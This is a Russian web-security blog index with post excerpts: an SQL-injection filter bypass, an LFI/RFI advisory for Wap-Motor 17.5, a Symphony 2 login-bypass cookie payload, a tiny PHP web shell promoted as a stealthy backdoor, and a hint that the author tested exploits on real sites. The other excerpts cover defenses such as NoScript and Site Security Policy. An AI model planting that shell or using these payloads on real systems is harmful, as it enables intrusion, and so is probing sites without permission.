Еще раз о правильной фильтрации

Я уже не раз излагал свои мысли по поводу принципов грамотной фильтрации входящих данных, этот пост будет своеобразным дополнением, подкрепленным живым примером.

Недавно столкнулся с интересной SQL-инъекцией на одном популярном ресурсе, посвященному взлому и хакингу. С одной стороны, признаки успешно внедренного SQL-кода были явными, однако поведение уязвимого веб-приложения при особых запросах говорило о наличии некой фильтрации на определенные ключевые слова. Например запрос ‘ OR 1=1/* успешно проходил, но, подставив AND вместо OR, я постоянно получал пустую страницу – это, очевидно, следствие возникшей ошибки синтаксиса SQL-запроса. Проанализировав ответы скрипта, я убедился, что, во-первых, проверка на ключевые слова действительно имела место, и, во-вторых, производилась не просто проверка, а вырезание из строки запроса всех совпадений со списком ключевых слов. На PHP это выглядело бы примерно так:

<?php
$badwords = array("AND","UNION","SELECT","WHERE","INSERT","UPDATE","DELETE");
str_replace($badwords,"",$GET['id']);
?>

Обойти такую проверку сущий пустяк.

Continue reading “Еще раз о правильной фильтрации”

Хранимые процедуры – панацея от SQL-инъекций?

У многих разработчиков сложилось мнение, что хранимые процедуры могут спасти от любой SQL-инъекции. Напомню, что хранимые процедуры (stored procedures, SP), это функции, написанные на языке SQL, с помощью которых выполнются заранее подготовленные запросы к базе данных. Хранимая процедура, как и функция в любом другом языке программирования, имеет входные и возвращаемые данные, позволяет оперировать переменными и, самое главное, облегчает жизнь разработчику, избавляя его от однотипных рутинных работ. Немаловажным является тот факт, что хранимые процедуры позволяют динамически составлять запросы, при этом входящие в хранимую процедуру данные поступают как параметры, обладающие определенным типом и длиной, что исключает возможность SQL-инъекций. Тем не менее внедрить SQL-код можно! Рассмотрим, при каких обстоятельствах возможны SQL-инъекции в хранимых процедурах на примере MySQL.

Continue reading “Хранимые процедуры – панацея от SQL-инъекций?”

LFI/RFI-уязвимости в Wap-Motor 17.5

Сайт разработчика: http://visavi.net/
Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:

<?php
extract($HTTP_GET_VARS);
extract($HTTP_POST_VARS);
extract($HTTP_COOKIE_VARS);
extract($HTTP_SERVER_VARS);
extract($HTTP_SESSION_VARS);
?>

На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):

<?php
if(empty($f)){$f='index';}
echo $p.'/'.$f.'.'.$config_ras;
$sfx = file($p.'/'.$f.'.'.$config_ras);
if (!$sfx){
	echo 'Файл с данными параметрами не найден!';
}else{
	include_once $p.'/'.$f.'.'.$config_ras;
}
?>

Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):

<?php
if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
?>

При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include. Continue reading “LFI/RFI-уязвимости в Wap-Motor 17.5”

Обход авторизации в Symphony 2 Beta

Сайт разработчика: http://21degrees.com.au/
Уязвимые версии: Symphony 2 Beta до revision 5
Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:

<?php
public function isLoggedIn(){
  $un = $this->Cookie->get('username');
  $pw = $this->Cookie->get('pass');
  $id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
    WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
  if($id){
    /* [...] */
  }
/* [...] */
}
?>

Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)

Выполнение произвольных команд в Symphony 1.7.01

Однажды я натолкнулся на Symphony – бесплатную платформу для публикации в web с открытым исходным кодом. Основное достоинство системы – использование XSLT в шаблонах, что является достаточно редким явлением среди платформ подобного рода. Сведений в багтраке по поводу обнаружения уязвимостей в Symphony я не нашел, поэтому без колебаний решил провести пен-тестинг движка с целью выявления какого-нибудь крупного бага. Было найдено несколько уязвимостей, которые в совокупности позволяли совершить произвольное выполнение команд. Выкладывать в багтрак найденные дыры я не стал, однако пару дней назад на официальном форуме Symphony обнаружили, что на многих сайтах с этой CMS появились некоторые изменения. Не скрою, кое-какие эксперименты я проводил. После выявления самими разработчиками некоторых багов в системе и публикации патча, смысла держать эксплоит не нахожу. Подробное описание уязвимостей идет ниже. Continue reading “Выполнение произвольных команд в Symphony 1.7.01”

Мега релиз: самый короткий шелл =)

Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам:

<?=@`$c`?>

Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в php.ini. Для подавления ошибок (так как переменная не инициализирована) используется известный прием: перед выражением ставим @. Собственно выполнение команд реализовано с помощью обратных кавычек (backticks) – довольно хитрый прием, о котором знает далеко не каждый. Например, внедрив строку echo @`$c` в другой скрипт, мы имеем незаметный бэкдор, который очень трудно найти.
Плюсы моего шелла: размер!
Минусы: нужны short_open_tag и register_globals

Site Security Policy: новое слово в web-безопасности

Не так давно один из представителей группы по безопасности из компании Mozilla, а именно Brandon Sterne объявил о начале разработки специального механизма для браузера FireFox, который будет регулировать поведение веб-содержимого и политику его ограничения в среде браузера. Идея об ограничении содержимого впервые была предложена в блоге Robert “RSnake” Hansen, известного специалиста по web-безопасности. Его мысли были быстро подхвачены и развиты сотрудниками из Mozilla Security Team. В итоге общая концепция воплотилась в Site Security Policy, о котором я сегодня и хотел бы рассказать.

Continue reading “Site Security Policy: новое слово в web-безопасности”

XSS через DOM

Всем известны два типа XSS:

  • Пассивные XSS (reflected или Type 1 XSS) – переданные данные отражаются в HTML-коде страницы только для конкретного пользователя
  • Активные XSS (persistent или Type 2 XSS) – постоянные XSS; злонамеренные данные хранятся на сервере – все пользователи сайта могут быть подвержены данной атаке

Однако далеко не всем известен еще один тип XSS, а именно межсайтовый скриптинг через DOM (DOM-based или Type 0 (3) XSS). Объектная модель документа (DOM) является формой отображения иерархии HTML (а также XML) для JavaScript. XSS-атаки через DOM возможны благодаря недостаточной обработке на уровне JavaScript таких объектов DOM, как document.URL, document.location, document.referrer и некоторых других. Принципиальным отличием данного типа XSS является тот факт, что данные вообще не встраиваются в HTML-код. Несомненно, это вызывает определенные трудности для систем IDS в плане выяления фактов атак и эффективной фильтрации входящих данных, так как уязвимость заключена не на стороне серверных скриптов, а прямо в JavaScript-коде. Continue reading “XSS через DOM”

NoScript: мощная XSS-защита для Firefox

Если в Internet Explorer только ожидаются новые XSS-фильтры, то пользователи Firefox уже больше года имеют возможность эффективно защитить себя от различного рода межсайтовых атак, используя плагин NoScript. Данное расширение действительно заслуживает похвал, так как отлично справляется с XSS, CSRF и другими атаками. Также плагин способен блокировать Java, Flash, MS Silverlight и другие потенциально опасные компоненты веб-страниц. NoScript имеет поддержку списка разрешенных сайтов (aka whitelist), а также возможность создания исключений XSS-защиты, задаваемых в формате регулярных выражений.
Плагин входит в десятку самых популярных на сайте addons.mozzila.org.

“Существует ли браузер безопаснее, чем Firefox? Да, это Firefox с NoScript”

Скачать

Безопасность в Internet Explorer 8

Вчера на официальном блоге Microsoft Internet Explorer были опубликованы сведения, касающиеся новых мер, направленных на повышение безопасности восьмой версии популярного браузера. Похоже, что разработчики IE всерьез занялись данным вопросом, – по крайней мере описание всех изменений в модели безопасности браузера выглядит внушительно =) В этом посте я затрону лишь самые любопытные на мой взгляд новшества.

Continue reading “Безопасность в Internet Explorer 8”